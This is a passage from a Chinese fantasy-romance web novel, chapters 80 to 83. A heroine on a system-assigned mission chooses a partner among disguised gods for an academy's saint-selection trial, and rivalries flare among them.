这几天赫瑞特一直催着问她的搭档登记好了没,她都随便含糊了过去,说现在去人多,等最后一天没什么人了再去登记。 可当季白等到最后一天时,泊里也没有找她。 她只能启用备用方案,选择赫瑞特做他的搭档。 季白赶在搭档登记快要结束时,方匆匆往办公楼赶去,路上恰好遇上了查奥斯。 “姐姐,你去哪?” “我去一趟老师办公室。” 查奥斯闻言就要跟着她一起,季白想了想,反正也没什么事就让查奥斯和她一起了。 当她赶到搭档登记的办公室时,意外发现负责登记的老师竟是海神涅塞斯。 涅塞斯见了她,坐在柜台后笑眯眯地问:“怎么这么晚才来,是一直没选好搭档吗?” 季白正要说话,却突然感到身后有人敲了下她的头,她回头一看竟是赫瑞特。 “赫瑞特!你怎么在这儿?”季白惊讶地问。 赫瑞特姿态懒洋洋地双手抱于胸前,斜睨了一眼涅塞斯后,幽幽地说:“我看你一直不来登记搭档,怕你忘了,就想着替你登记上。” “呵呵。”季白假笑了两声,“看不出来你还这么热心肠。” 赫瑞特轻嗤一声,懒洋洋的语调带着几分嫌弃。 “快去登记,满屋的海腥味都快熏死我了。” 季白听赫瑞特这么说,顿时紧张得心头一跳,她连忙朝涅塞斯看了一眼,只见对方依旧笑得温柔,似乎丝毫不把赫瑞特的不礼貌放在心上。 季白松了一口气,目前来看这位海神真的是一位脾气很好的神明呢。 季白正要抬脚朝涅塞斯走去,查奥斯却突然拽住了季白的袖角,一脸天真又好奇地问:“搭档?什么搭档?我也想做姐姐的搭档。” 她要拒绝的话还来不及说,只听身后又传来一道熟悉的声音。 “季白。” 季白回头一看就看见气喘吁吁的泊里,他似乎是一路跑过来的,衣袍都被汗水浸湿了,脸颊泛起一抹不正常的潮红。 他的眼睛亮晶晶地看着她,眼底又藏着几分期待与紧张。 “我……我来了,没有迟吧?我……我答应你的邀请。” 80 第80章 赫瑞特立时站直了身子,上前一步紧攥着季白另一只空出来的手腕,绿色的眼眸紧盯着对面的泊里,随后似笑非笑地看着季白,幽幽地学着泊里的语气说:“我答应你的邀请。” 他攥着她手腕的手蓦然加大了力气,唇角的笑意怎么看都让人感觉毛骨悚然。 “季白,除我以外,你还邀请了别人?” 季白的头皮都要炸开了。 眼睛几乎不敢去看泊里的眼睛。 她信誓旦旦地对泊里说,会等他到最后一刻,结果转头就和赫瑞特组队了,最糟糕的是两个人还撞到了一起。 季白现在恨不能立即戴上能使她隐形的帽子原地消失。 赫瑞特攥着她手腕的手突然发力,季白被他拽得踉跄了一下,险些跌到他的怀里。 她还没有反应过来,一双滚烫的手掐住了她的下巴,她的目光被迫对上他似笑非笑的眼睛,墨绿色的眼底浸着危险的寒意。 “你最好给我解释清楚这到底是怎么回事,你,拿我当可怜的替补吗?” 泊里失落的声音从遥远的地方传来。 “是我来迟了吗?” 季白的心顿时一紧,她正欲挣脱赫瑞特的钳制,一旁的查奥斯却突然一拳打在赫瑞特的脸上,一脸认真地说:“你弄疼姐姐了。” 赫瑞特一时吃痛被迫松开掐着季白下巴的手,季白瞬时从他怀中挣脱,目光立即朝泊里的方向看了过去。 泊里如天使般的漂亮面孔冲她浅笑着,金棕色的目光似是某种圣洁的审判,“你不是说,我是你唯一的朋友吗?” 如果欺骗神明有代价的话,季白现在就该下地狱了。 “泊里,你听我解释。”季白说着就要朝泊里奔去,却又被赫瑞特抓住了手腕。 只听他咬牙切齿地说:“你不准走。” “放开姐姐。”查奥斯说着,又要冲上去揍他。 涅塞斯见两人又要打起来,连忙放出一道平缓的魔法将他们二人暂时隔绝,也分开了赫瑞特抓着季白的手。 季白回眸朝涅塞斯看去,就见他坐在桌后温和地笑着,眼睛眯成了月牙,“各位同学可要友好相处哦,在老师面前是不准打架的。” 赫瑞特冷嗤了一声,没说话。 但原本剑拔弩张的场面却在涅塞斯的加入下,达到了一种诡异的平衡。 “季白同学很受欢迎嘛。”涅塞斯温笑着问,“那你究竟要选择谁做为你的搭档呢?” 赫瑞特冷冷地盯着她,那架势仿佛在说如果不选他的话,她就死定了…… 查奥斯拽了拽季白的衣角,眨巴着又圆又大的黑眼睛说:“姐姐选我好不好,我也想陪着姐姐去冒险。” 季白狠下心来对查奥斯低声说:“抱歉,我这次不能选你。” 季白说完,就转过身朝泊里走去,至于赫瑞特,她是看都不敢看一眼。 生怕多看一眼,赫瑞特就会突然发疯,直接拉着她下地狱。 “泊里,你没有迟。”季白说,“我一直在等你。” 在季白身后的赫瑞特听到这句话墨绿色的眼眸蓦地一沉,眼底翻涌的郁色快要溢出来布满整栋楼。 泊里的目光越过季白对上赫瑞特冷冷的视线,他的唇角似是微微向上扬了扬,随后轻声问季白。 “是吗?” “可是我看你好像和这位同学约好了。” “没关系的,你不用顾虑我。”泊里的声音又平又缓,似是坦荡友好的谦让,又似是某种隐晦的炫耀与试探,“你和他组队做搭档吧。” 季白掐了掐指尖,身后那道不容忽视的灼热目光一直紧盯着她,使她差点就要点头同意泊里的建议。 但她的任务是要得到光明神的神眷,欺骗并玩弄黑暗神。 因而季白尽量不去理会身后赫瑞特的目光,无比坚定地对泊里说:“泊里,我只想选择你做我的搭档,我们去登记吧。” 身后突然传来赫瑞特的嗤笑,阴冷且极具压迫感的气息伴随着清晰且沉稳的脚步声一步步朝她逼来。 “很好。”赫瑞特笑着说,“季白,你是第一个敢耍我的人。” 阴寒的气息压得季白快要喘不过气,这时,泊里却突然握住了季白的手,一股无比温暖的气息顺着掌心流遍她的全身,顷刻间就驱散了她身上的冷寒之气,僵硬的肌肉重新变得柔软。 赫瑞特的目光落在泊里与季白交握的双手,嘴角的笑意越来越灿烂,可眼中的绿却浓稠到仿佛要滴出水了。 “我祝福你们在这次的冒险中平安愉快,顺利拿下第一。” 赫瑞特说完,头也不回地转身走了。 查奥斯则有些失落地站在原地,乌黑的眸子可怜巴巴地看着她。 “这只是一次学院的考察而已。”季白对查奥斯解释道,“就像你上次入学院时的考试一样,没什么有趣的,等下次学院放假,我们在一起进行真正的冒险,好不好?” 查奥斯的任务直到现在也没有显现出来,因而季白也不能将他得罪的太狠,还是要给予适当的安抚。 查奥斯看了看泊里,随后眨了眨眼说:“好。” “涅塞斯老师。”季白走到涅塞斯面前,道,“我的冒险搭档是泊里,麻烦您帮我登记上。” 涅塞斯笑眯眯地问:“为什么选择他呢,我瞧刚刚那位绿头发的孩子实力很强呢。” “你和他组队获得第一的可能性说不好会更高呢。” 季白十分怀疑涅塞斯是在故意拱火。 “他的性格我不太喜欢。”季白微笑道,“我觉得我和泊里也一样能拿下冠军。” 泊里浓长的眼睫颤了颤,随后侧眸看着季白脸上的笑容,那只金棕色的眼睛里似是藏着让人看不透的情绪。 季白解决完登记搭档的事后,就赶在上课前返回了教室。 她一进门就注意到赫瑞特的座位空空如也,直到下课赫瑞特也没有返回教室。 季白估摸着赫瑞特作为黑暗神恐怕从来没有人敢这样戏耍他,因而在一怒之下就离开了。 这样是不是也算某种欺骗玩弄呢? 毕竟她先前明明答应了赫瑞特要和他组队,结果却在最后一刻反悔了。 季白想到这儿,立即打开面板查看任务,然而黑暗神那一栏的任务里没有任何的变化。 【这种程度的欺骗,还达不到完成任务的要求。】 系统的声音在季白脑海中响起。 季白闻言关掉了任务面板准备离开教室回宿舍。 不是随随便便的欺骗就可以完成任务,某种程度上关于黑暗神的任务是需要让赫瑞特感受到痛苦。 季白在离开前,目光无意间看见了坐在前排的一位同学,他面色苍白,精神恍惚,似是遭受到了什么重大的打击一样。 季白收回视线,心想或许是家里出什么事了吧。 一年级新生的课程少,因而今天课程结束后,季白注意到在下午空余的时间里,有一节涅塞斯的人类史。 她本来打算去听听看,突破一下关于涅塞斯的任务。 但她转念又想到即将开始的圣女选拔,决定还是先回去自学几个攻击类的高级魔法为这次的冒险做准备。 季白从学校的图书馆借到魔法书后,就往宿舍走。 她走着走着突然觉得有点不对劲。 平时在这个时间里宿舍附近的人也不多,可绝不会像现在这样一个人也没有。 季白警惕地环顾四周,却什么也没有看见,但她总觉得有人在暗处盯着她,这种不安的预感让她的心顿时提了起来。 会是赫瑞特吗? 可季白又觉得不太像,这道目光里仿佛藏着贪欲,兴奋与渴望。 是一种对于强大的力量的渴望。 赫瑞特不会用这样的眼神看她。 突然,脚下的大地变得柔软,她还来不及反应,整个人如同溺水一般坠了下去。 扑面而来的窒息与撕心裂肺的痛,让她瞬间晕了过去。 “是她。”一道兴奋又渴望的声音在空无一人的角落中响起,“斯蒂夫,你做得很棒。” “哦,千万不要刺激她,也不要惊醒她,如果让她想起来,一切就全完了。” “斯蒂夫,按照原定计划把她献给教皇,教皇会奖励你的。” 季白好似做了一个格外冗长的梦,可当她睁开眼的那一霎那又什么也不记得了。 她惊坐起来环顾着四周熟悉的环境,她记得她在晕倒前似乎是……遭到了袭击? 可为什么一觉醒来又回到了自己的房间,她的目光落在桌子上。 她从图书馆借来的魔法书也整整齐齐的放在桌面上。 是谁送她回来的? 她揉了揉还在隐隐作痛的头,这时,一张看不见的脸覆了上来,阴冷的,粘稠的,似是吞食了春药般的声音在她耳畔响起。 “竞选圣女的搭档为什么要选择没用的独眼少年?” 在这种诡异的时刻,季白竟然感受到了一种久违的安心。 原来是赫瑞特送她回来的,那她突如其来的晕倒也是他做的了? “说话。”赫瑞特见她不语,显然是生了气,掐着她下巴的手加大了力度,力气大到似是要把她的下巴卸下来一样。 “恶魔先生好像很在意我选择谁。” “呵,我在意的是你能不能通过预备圣女的遴选。”赫瑞特的声音带着几分冷意和压抑不住的怒气,“选那么一个废物,我很担心你的能力。” 季白发现赫瑞特不仅心眼小,还十分的爱面子。 不好意思用真身质问她,就假借别人的身份质问。 季白问:“是吗,那恶魔先生觉得我该选择谁呢?” 赫瑞特沉默了片刻,随后季白就感到那股炙热的吐息洒落在她的耳畔激起阵阵痒意,一个人名在她的耳边炸开。 “赫瑞特,为什么不选择赫瑞特?” 【作者有话说】 今天好困就先更新一章,新书的漂亮封面已经出啦,好喜欢好喜欢这次约的封面,顺便再次推荐下我的接档新书——驯服高傲的他,快的话这个月就开,慢的话可能就下个月吧。 80-90 81 第81章 季白垂下眼帘望着自己紧攥着被单的手,思索着什么样的回答能让这位黑暗神满意。 滚烫的,如有实质般的肌肤贴着她的脸往下滑,像是炙热的吻,又像是首领在一寸寸巡视着他的专属地盘。 季白的眼前明明什么都没有,她却好似看见了那双浓稠的墨绿色眼眸。 “他……”季白轻声说,“他来历成谜,性格也很难掌控,比起捉摸不定的赫瑞特,泊里更适合与我组队。” 季白说完就感受到赫瑞特的呼吸骤然一停,意味不明的声音再次在她耳边响起。 “你既然一开始就有了决定,为何还要愚弄他?” “恶魔先生是在为赫瑞特不平?”季白故意问,“难道他真的和你们黑暗冥殿有关系?” 季白有点好奇,赫瑞特打算在她面前装多久。 一人分饰两角,他不觉得累吗? “呵,我为何要为一个陌生人不平?” 赫瑞特显然是不打算承认他就是赫瑞特,滚烫的指腹顺着青紫的血管一寸寸地往上移,似是某种蛇类从她的手腕爬过,带来窸窸窣窣的痒意,指腹最终停在她与心脏相连的脉搏上。 季白不禁低头看去,她的手腕上明明什么也没有,却能看见她的肌肤被压出一个个细小的坑洞。 这实实在在的触感让季白真切地体会到他的存在。 “我只是对你一人好奇而已。”柔软的吻落在她的额头,清浅的沙哑的声音在她耳畔响起,如同恶魔的蛊惑,“别去做神殿的圣女了,黑暗是你的最终归宿。” “你这颗恶劣的,喜欢玩弄他人的心注定是属于黑暗神的。” 滚烫的指尖隔着衣料在她的心脏处点了点,季白感觉似是有一条小蛇刺破她的皮肤钻进了她的心里去,带有鳞片的,炙热的身躯缠住她的心,随后张开那带有毒牙的嘴,一口咬在了她的心上,激得她忍不住颤了一下,唇间溢出一声低呼。 季白强忍着难捱的,窒息的折磨,靠倒在他的怀里,想要抓住他的衣摆,却只抓到了一片空气。 他恶劣地像是风中调皮的蒲公英,明明就近在咫尺,可你伸手去抓却只能看见它飘走的身影。 季白知晓赫瑞特现在还在为她选择了泊里而生气,如果不让他放下这件事的话,以这位的性格,肯定会在冒险的时候给她添乱的。 “我的心当然是属于黑暗神的。”季白说,“我发誓我会永远效忠于伟大的黑暗神,只是在此之前,我需要当上神殿的圣女对伟大的黑暗神证明我的能力与忠诚。” “恶魔先生。”季白问,“赫瑞特真的和冥殿没有关系吗?” “我不选择他除了他难以掌控的性格外,还有……他和黑暗神一模一样的名字,他的言行举止,也实在不像是那帮信仰光明神的蠢货。” 赫瑞特顿了顿,说:“只是巧合而已。” 季白垂下眼帘没有说话,她正想着要不要问问赫瑞特,为什么其他人不知道黑暗神的名字时,却听赫瑞特又在她耳边轻笑一声。 “明明一开始就怀疑他了,却还要给他希望,你还真是天生的恶魔。” 季白解释,“我可不全是为了愚弄他。” “我不得不承认赫瑞特的实力真的很强,这样的人如果不能为我所用,也不能落到别人的手里。” 赫瑞特低嗤一声,在她耳边感叹。 “你还真是一个狠心又残酷的女人。” “自己得不到的东西就要毁掉吗?” 季白把脸贴在他的胸膛上,手顺着他的脖子一路摸上了他的脸,她笑得灿烂又明媚。 “这不就是我们恶魔的样子吗?” “宽恕与谦让是光明神的事。”季白说,“而我们要的是绝对的占有,自己的猎物就算死也是自己的。” 季白感受到他胸腔的震颤,是他在愉悦地笑。 “你学得很快。”他轻声说,“没错,恶魔看中的猎物就算死也无法摆脱我们,终将坠于黑暗的灵魂会是我们最好的补品。” “季白,预祝你这次能成功拿下预备圣女的名额。”他柔软且湿漉漉的唇贴上她的耳垂,温柔又蛊惑的声音中却又透着几分凉意,“如果失败的话……就跟我离开这儿吧。” 赫瑞特话音刚落,季白就觉身后一空,整个人差点跌回床上,他走了? “恶魔先生?”季白轻声喊了几句,却发现无人回应。 房间里还残留着属于赫瑞特的气息,她不确定他是真的走了,还是……在暗处窥伺着她。 季白起床翻了下书桌上的魔法书,开始学习这个世界的魔法。 这几天,赫瑞特依旧没有来教室,同学之间有人传他是生病了之类的话,但季白估摸着他应该是玩腻假扮学生的游戏了。 下课后,季白准备前往学院的空地去练习她新学的攻击类魔法,在出门前她注意到上一次面色苍白,精神恍惚的同学面色红润了许多,但眼中却闪烁着让人不安的气息。 季白不由多看了他一眼,那人立即抬起头用充满戾气的眼神瞪了季白一眼,季白吓了一跳,那人却又一溜烟地跑没影了。 他……有点不正常吧。 季白也没多想,转头朝学院专门练习魔法的广场去了。 她照常把魔法书放下后,就取出她的魔杖开始练习。 在这片大陆里初级的魔法师都需要借助外物施展魔法,比如魔杖,权杖,或是水晶球之类的东西,当随着魔法师的能力提高后,就可以不需要外物直接释放魔法。 比如赫瑞特可以直接在手上释放火球,又比如海神在那一天随手一指就释放出的魔法屏障。 季白因有着修仙的基础,学习起魔法来已是一日千里的速度,可她还是觉得不满意。 那日赫瑞特离开时的那句祝福总是让她感到不安,她总觉赫瑞特会在冒险中故意给她添乱,让她选不上圣女跟他离开。 她一想到这儿,就越发焦急了,这招冰刺怎么也练不好。 锐利的冰刺在她的魔杖前凝结,以锐不可当的速度朝目标攻去,然而冰刺还没伤到目标就已先在空中化为了柔软无力的水。 “Icethorn!”季白再次挥动魔杖,大喊了一声,眼看射出的冰刺再一次要化为水,一双宽厚的手掌却突然覆在了她的手背上,紧接着一道无比柔和的力量注入她的体内,磅礴的水系魔法从她的指尖泄出。 原本快要化为水的冰刺得以重新凝结,它们变得比之前更粗,更锐利,以势不可挡的速度快速朝前方射去,最终无比精准地钉在了对面的石壁。 这一次,她的冰刺过了很久很久都没有化。 季白回过头就对上来人湛蓝的眼眸,他的眼睛迷成一道月牙,嘴角的笑意温和又亲切,让人一看就忍不住生出好感。 “涅塞斯老师,你怎么在这儿?” 涅塞斯收回手,温声道:“想要学习厉害的魔法,一个人没头没脑的练习可不行。” “你需要一位老师教你。” 季白顺势佯装失落地说:“可是我不知道该找谁教我,学校里的老师我都不太熟悉。” “涅塞斯老师。”季白用期待的眼神看着他,“你可以教我吗?” “我只擅长水系魔法。”涅塞斯说,“如果你不介意的话倒是可以教你。” 有海神亲自教导,季白当然是一百个愿意,因而立即道:“我不介意,涅塞斯老师能教我,我已经很高兴了。” 虽然她还不清楚涅塞斯和赫瑞特他们比起来谁厉害,但他能随手隔开黑暗神和混沌神,实力肯定不会太差。 涅塞斯看了看四周,说:“这里可不是练习水系魔法的好地方。” “你跟我来。” 涅塞斯带着季白去了他的私人领地,是一座建在湖底的小型城堡,碧色的水被隔绝在外,季白能清楚地看见头顶游过的小鱼。 涅塞斯握住她的魔杖,低声说:“水系魔法最重要的是感受它,呼唤它,回应它。” 他湛蓝的眼眸无比温柔,似是夜空下温柔平静的大海。 季白在涅塞斯的帮助下,很快地就学会了冰刺,巨浪,水之屏。 “这三招水系魔法应该足够你应对这次的圣女选拔了。” 涅塞斯赞叹的声音从季白身后传来。 “你是我见过最有天赋的学生。” 季白回头看向涅塞斯,真心实意地感谢道:“谢谢你,涅塞斯老师。” “如果没有你的教导,我真的不知道这次的预备圣女选拔能不能通过。” “这么担心,不如换个搭档?”涅塞斯挑眉道。 “换搭档?”季白惊问,“现在还能换吗?而且就算换我也没有更好的人选了。” “更好的人选不就在你眼前吗?”涅塞斯低头凑到季白眼前,眼中盛着星星点点的笑意。 季白瞪大了眼,“搭档还能选择老师吗?” 季白这幅震惊的样子成功地取悦了涅塞斯。 他勾了勾唇角,诚实地摇摇头,“不能。” 季白:…… “那老师说更好的人选在我眼前。” 涅塞斯站直了身子,两手一摊,道:“开个玩笑。” 季白有点点无语,这位海神大人很温柔也很亲和,但好像很喜欢开无聊的玩笑。 “涅塞斯老师。”季白想到她的任务,趁热打铁地询问,“等预备圣女的选拔结束,我还能来找老师学习魔法吗?” “当然可以。”涅塞斯说,“只要你想学,我随时都在。” 季白闻言,心中一喜,那她这样算不算是拜师成功了? “这么高兴?”涅塞斯看出季白心中的喜悦,笑眯眯地问道。 季白重重点了点头,说:“能跟着涅塞斯老师学魔法我当然高兴,我看得出来涅塞斯老师是很厉害的魔法师,有涅塞斯老师的教导,我也一定能变得更厉害。” 涅塞斯轻笑一声,“小家伙眼光不错。” “嘿嘿。”季白讨好地笑了笑,随后气势昂扬地说,“老师等着看吧,我这次一定能和泊里成功拿下冠军,获得预备圣女的名额。” 预备圣女选拔的那一天,季白早早就和泊里前往了学院约定的地点,当参加的众人逐渐到齐时,季白竟在人群中看见了一抹许久不见的身影。 82 第82章 那人转过身来,露出一张昳丽惑人的脸,墨绿色的眼眸似是某种被赋予神奇魔法的宝石,让人看一眼就再也移不开视线。 他含着森然笑意的目光精准地捕捉到了季白的身影,季白心头一颤,有那么一瞬间竟想往泊里的身后躲。 他怎么来了? 一种不好的预感瞬间从心头升腾而起。 泊里敏锐地察觉出季白异样的情绪,他顺着季白的目光看了过去,就看见那一天出现在登记办公室的俊美少年。 泊里记得他,那位优秀到让他都忍不住嫉妒的少年。 “你还好吗?”泊里垂眸看向季白,低声问,“是……太紧张了吗?” 季白收回视线,抬眸看向泊里,浅笑道:“是有一点点紧张。” 泊里沉默了一会,随后主动握住季白的手,轻声说:“别担心,光明神会保佑我们的。” 他说到这儿,又笑了下。 “哪怕不保佑我,也一定会保佑你。” 季白听到这儿,有点想笑。 泊里这是在求自己保佑自己吗? “为什么?”季白问。 泊里拉起她的手放在唇边轻轻吻了一下,那只金棕色的眼睛无比认真地看着季白。 “我能感觉到光明神对你的喜欢。”泊里说。 季白看着他认真的眼睛,唇角忍不住向上扬了扬。 “那你呢,泊里?”季白问。 泊里冷白的肌肤上浮上一抹红晕,他垂下眼睫,轻声说:“连光明神都无法拒绝你,我又怎能避开你的魅力呢。” 一旁的赫瑞特见季白同泊里两人旁若无人地亲近着,那双墨绿色的眼睛冷得快要结冰了。 说话就说话,好端端地亲别人的手做什么? 该死的,就算是什么都不记得的光明神,也一样让人讨厌。 赫瑞特再也忍受不了被季白的忽视,抬脚就朝他们二人走去,他要是再不过去,他们两人还要在大庭广众之下做什么? “赫瑞特。”站在他身边的漂亮姑娘见赫瑞特要突然离开,抬手就要抓他的衣摆,结果却被赫瑞特了无痕迹地躲开,她气愤地跺了跺脚,质问:“你要去哪?你别忘了,你现在是我的搭档。” 赫瑞特转过身看了她一眼,唇角含着一抹笑意,可说出口的话却比腊月的天还要冷。 “不想死的话就安静一点。” 漂亮姑娘被他阴鸷刻毒的眼神吓了一跳,一时怔在原地不敢再动。 “我亲爱的同桌,好久不见了。” 突如其来的声音打断了季白与泊里的对话,两人同时抬眸看去,就见赫瑞特面色不善地站在他们面前。 那双墨绿色的眼睛如一条狡诈的青蛇般给人以不安冰冷的感觉,但这种感觉转瞬即逝,只见他弯了弯那双漂亮的绿眸,嘴角含着一抹极具蛊惑与引诱的笑。 “怎么?” “没想到我会出现在这儿?” 季白沉默以对,一时间不知该说什么。 看他的架势是铁了心要给她添乱了。 泊里上前一步将季白护在身后,他的性格速来平和,是别人欺负到头上都不会报复的人,可这次却有些一反常态。 “你和她的事我已经知道了。”泊里说,“这不怪她,是我当时没有给她准确的答复,导致她无意间伤害了你,一切都因我而起。” “你若有不满,尽可朝我发泄,不要伤她。” 他的话语依旧是平和且没有攻击性的,看起来和他平日的处事没什么不同。 可只有泊里自己知道,*他的心里有多么的厌憎他。 这种陌生的情绪如火般灼烧着他的心,让他不安又惶恐。 无论别人如何唾骂,贬损,攻击他,无论他的□□遭受多大的折磨,他都从来没有如同现在这般厌憎着一个人。 好似生来他们就是不共戴天的仇敌了。 “朝你发泄?”赫瑞特冷笑,“你是季白的什么人,我和她的事需要你多管闲事?” 泊里金棕色的眼睛寸步不让地紧盯着他,当季白的名字从赫瑞特殷红的薄唇中吐出时,他心中的愤怒与嫉妒几乎快要将他焚毁。 他也不明白他的心中为何会生出属于魔鬼的苦毒的嫉妒与愤怒。 这是不应该存在的污秽恶欲,是会被神明惩治的罪孽。 或许,他该远离一切会带给他罪孽的人或事,或许,这是神明降于他的考验,考验他是否能经历住魔鬼的诱惑,考验他这颗心是否会始终纯洁如一。 泊里在这一刻感觉自己像是被撕成了两半,一半是嫉恨的妒火,一半是平和的仁慈,它们相互攻讦,相互撕扯。 “泊里。”季白伸手抓住他的袖摆,温热的体温隔着柔软的布料传至他的肌肤,泊里只觉得那片被她触碰的肌肤正以一种不可思议的速度燃烧着,叫嚣着。 这种名为爱欲的火焰顷刻间就烧毁了所有的纷乱与理智。 他低眸望着她水润的眼睛和那张张合合的唇,她说了什么,他一个字也没有听清,满脑子只有一个想法。 如果她真的是魔鬼的化身,撒旦的使者,那么他也心甘情愿地做她的奴隶。 季白觉得泊里有点不对劲,他好像并没有在认真地听她说话,金棕色的眼睛里藏着不同于平日的色彩。 这让她的心开始感到不安。 泊里不会是发现什么不对劲了吧? 她这么想着,就连忙越过泊里,面对面地看着赫瑞特说:“赫瑞特,上一次的事我真的很抱歉。” 她说着,还专门回眸看了一眼泊里,而后开始表忠心道:“我知道你很优秀,但泊里才是更适合我的那一位。” 赫瑞特轻嗤一声,随后俯下身子在季白的耳边低声说:“季白,我会让你很快后悔为什么没有选择我。” 他说完这句话,就转身朝他这次的搭档走去。 季白特意看了一眼和赫瑞特组队的姑娘,是一张陌生的漂亮面孔,应当是高年级的学生。 也不知他是用了什么办法,成为了那人的搭档。 “季白。”泊里清浅的声音在她耳边响起,不知是不是季白的错觉,她总觉得这声音里好似添了几分从前没有过的柔和。 “怎么了?”她回眸对上他看过来的视线,眼底不断翻涌的情绪,是季白格外熟悉的爱意。 她心中惊了一跳,以为这家伙是要告白,结果却听他温声说。 “我不会让你后悔你的选择。” “我会帮你赢下这次的冠军。” 季白看着他无比认真的眼神,藏在胸腔里的心蓦然加快了跳动。 “你……都听见了?” 季白看泊里刚刚走神的样子,以为他并没有在听她和赫瑞特的谈话。 尤其是……赫瑞特最后那句话的声音压得很低很低,按常理来说除了她以外不会有第二个人听见。 “嗯。”泊里应了一声。 预备圣女选拔的冒险很快开始,学院老师用魔法将他们传送至密林的门口,随后季白的手中就出现了一张羊皮地图。 “各位同学,你们手中的地图是你们这一次冒险的路线,你们需要穿过密林,沼泽,高山,这次的路程中充满着危险与诱惑,只有最坚韧不拔,心向光明的勇者方能成功抵达彼岸的门,第一位进入门的少女将会获得本次预备圣女的名额。” 在老师说话的时间,季白已经飞快地把手中的地图路线全部记下来了。 老实说,季白并不担心冒险本身的难度,她有光明神做队友,又有海神的亲自指导,她不可能会输给其他人。 她唯一需要担心的就是可能会给她捣乱的赫瑞特。 季白把目光从地图上挪开,又遥遥看了赫瑞特一眼,正巧与他的目光对上。 他勾唇冲她笑得挑衅,随后就见他身边的姑娘似是拉了他一把,季白很快移开视线,默默计算着等会赫瑞特可能会使用的小手段。 泊里察觉到季白又在看那位俊美又出挑的少年,垂在腿侧的手指微微蜷了蜷,金棕色的眼底闪过一抹郁色。 “冒险正式开始,愿伟大的光明神赐你们平安。” 随着这声令下,参加冒险的众人瞬时如潮水般涌了出去,不知是谁从后撞了季白一下,撞得季白险些跌倒,泊里见状立即扶住了季白。 “小心。” 赫瑞特从他们二人身边走过,冷哼了一声。 “还没开始就先摔倒了,这就是你找得好搭档?” 季白:…… 赫瑞特好歹也是黑暗神,有必要这么幼稚吗?见缝插针地过来踩一脚泊里? “艾莉丝。”赫瑞特偏头唤了一声身边的姑娘,而后抬手召唤出一件飞毯载着艾莉丝飞快地远离了人群。 他转过身来直勾勾地盯着季白,脸上挂着似笑非笑的笑意。 “如果你选择的是我,现在坐在飞毯上的人就是你了。” 季白默默看了赫瑞特一眼,没有说话。 这位哥不愧是黑暗神,全身上下的反派气质都快溢出来了。 泊里见季白没说话,也没有再分半个眼神给赫瑞特,而是轻声问。 “季白,我们走吧?” “好。”季白点了下头,在泊里的保护下混在人群中继续往前走,被两人忽视的赫瑞特眼神阴冷地盯着泊里的背景,而后抬脚朝密林中走去。 泊里低声在季白耳边说:“他的飞毯是不能飞过密林的。” 季白好奇地问:“为什么?” 泊里还没有回答,季白就先听见了一声尖叫,只见刚刚还坐在飞毯上的艾莉丝径直掉了下去。 季白打了个冷颤,幸好泊里答应了和她一起参加冒险,不然今天掉下来的人就是她了…… “她怎么掉下去了?” 不应该啊,好歹也是黑暗神出手的法器,这么拉的吗? 83 第83章 泊里伸手在季白手中的地图上圈出了一个范围,低声说: “这些范围内有神明的力量会使魔器失灵。” 季白点了点头表示明白了。 想想也是,毕竟是一次非常重要的考验,如果大家都用飞毯之类的魔器前往终点的门,那岂不是太不公平了。 季白有几分同情地看了眼摔得鼻青脸肿的艾莉丝,要不是赫瑞特非要显摆,她也不会从飞毯上掉下来。 这时,季白注意到赫瑞特正在往过来走,她生怕吃瘪的赫瑞特又要搞什么幺蛾子,连忙拉着泊里赶快离开了这个是非之地。 两人越往密林深处走,人也就越来越少。 起先,季白还能听见若隐若现的人声,如今耳边也只剩下清脆的鸟鸣与风吹树林的簌簌声。 季白低头看着手中的地图确认前进的方向,耳边却突然传来泊里的声音。 “你……好像很在意那位名叫赫瑞特的少年。” 季白握着地图的手略微紧了下,随后偏头问泊里,“他是我的同桌,泊里你呢,你觉得他怎么样?” 季白现在都不太清楚泊里到底是失忆的状态还是他其实什么都记得。 泊里非常诚实地说:“我不喜欢他。” 他说完,又垂下眼帘停顿了许久,眸中闪过几分纠结。 季白看出他似有话要说的样子,就主动询问道:“为什么,可以告诉我原因吗?” 泊里抬眸看了季白一眼,低声说:“我不喜欢他身上的气息。” 神明曾说过,凡人不可在背后议人。 一切无益的言论也终将会遭到神明的审判。 因而哪怕泊里十分讨厌赫瑞特,且也感受到了赫瑞特内里的邪恶与坠落,他也做不出背后说赫瑞特坏话的行为。 泊里回头看了一眼他们来时的深深密林,在那丛林掩映之处,他仿佛看见了一双碧绿色的眼睛。 “泊里,我们快走吧。” “好。” 林中常年不见太阳,因而四处长满了青苔,稍不留意就会滑上一跤。 忽而,林中顿起大雾,白茫茫的浓雾不仅掩去了所有前进的道路,好似还吞没了所有的声音。 这突如其来的诡异变化让季白不敢贸然行动,她警惕地环顾了一圈,而后惊讶地发现泊里竟然不见了。 “泊里!泊里!” 季白大喊着泊里的名字,然而她的声音好似也被这浓稠到快要滴出水的雾气全部吞没了。 与此同时,学院院长以及神殿牧师们正透过水晶球注视着密林中的一切。 “哪儿来的大雾?”牧师问,“这是你们安排好的吗?” 院长眉头皱了皱,说:“许是天气原因。” 第一关里他们只安排了考验她们内心的幻境,并没有安排雾气。 不过林中多雾本也属自然现象,但院长望着被雾气挤满的水晶球,总觉得事情好像没有那么简单。 赫瑞特步履愉悦地穿梭在伸手不见五指的浓雾中,雾气打湿他的发丝在他漂亮的眼睫上留下一颗颗晶莹的小珍珠,半湿的他使他本就昳丽蛊惑的五官越发勾人,宛若行走在人世诱惑世人沉沦的漂亮恶魔。 “你要去做什么?”一道赫瑞特不甚喜欢的声音从浓雾中传来。 赫瑞特脚步顿了顿,眯着眼望向前方,只见从浓雾中走出一位蓝发青年,他气质清隽温和,可湛蓝色的眼中却盛着即将降临的暴风雨。 “我做什么需要向你报备?”赫瑞特挑了挑眉,“涅塞斯,一条人鱼就该滚回你的大海,不该管的事不要管。” 这个世界恐怕也只有同为神明的赫瑞特敢轻佻地称海神涅塞斯为一条人鱼了。 涅塞斯面上仍挂着亲和力满满的笑,漂亮的眼睛弯成两道月牙,“难道你要违背我们当初定下的规矩吗?” “规矩?”赫瑞特嗤笑了一声,“涅塞斯,你是在人间呆傻了吗,还是你那颗鱼脑袋里进了水?我赫瑞特自出生以来,什么时候守过规矩?” 他抬脚走到涅塞斯面前,挑眉问:“怎么,凭你也想阻止我?” 涅塞斯笑得温和,“不试试怎么知道不行呢?” 滴,答,滴,答,滴…… 耳畔传来清晰的滴水声,在这白茫茫的孤寂世界里显得越发诡异,滴水声越来越多,越来越杂,好似每一下都滴在她的心上。 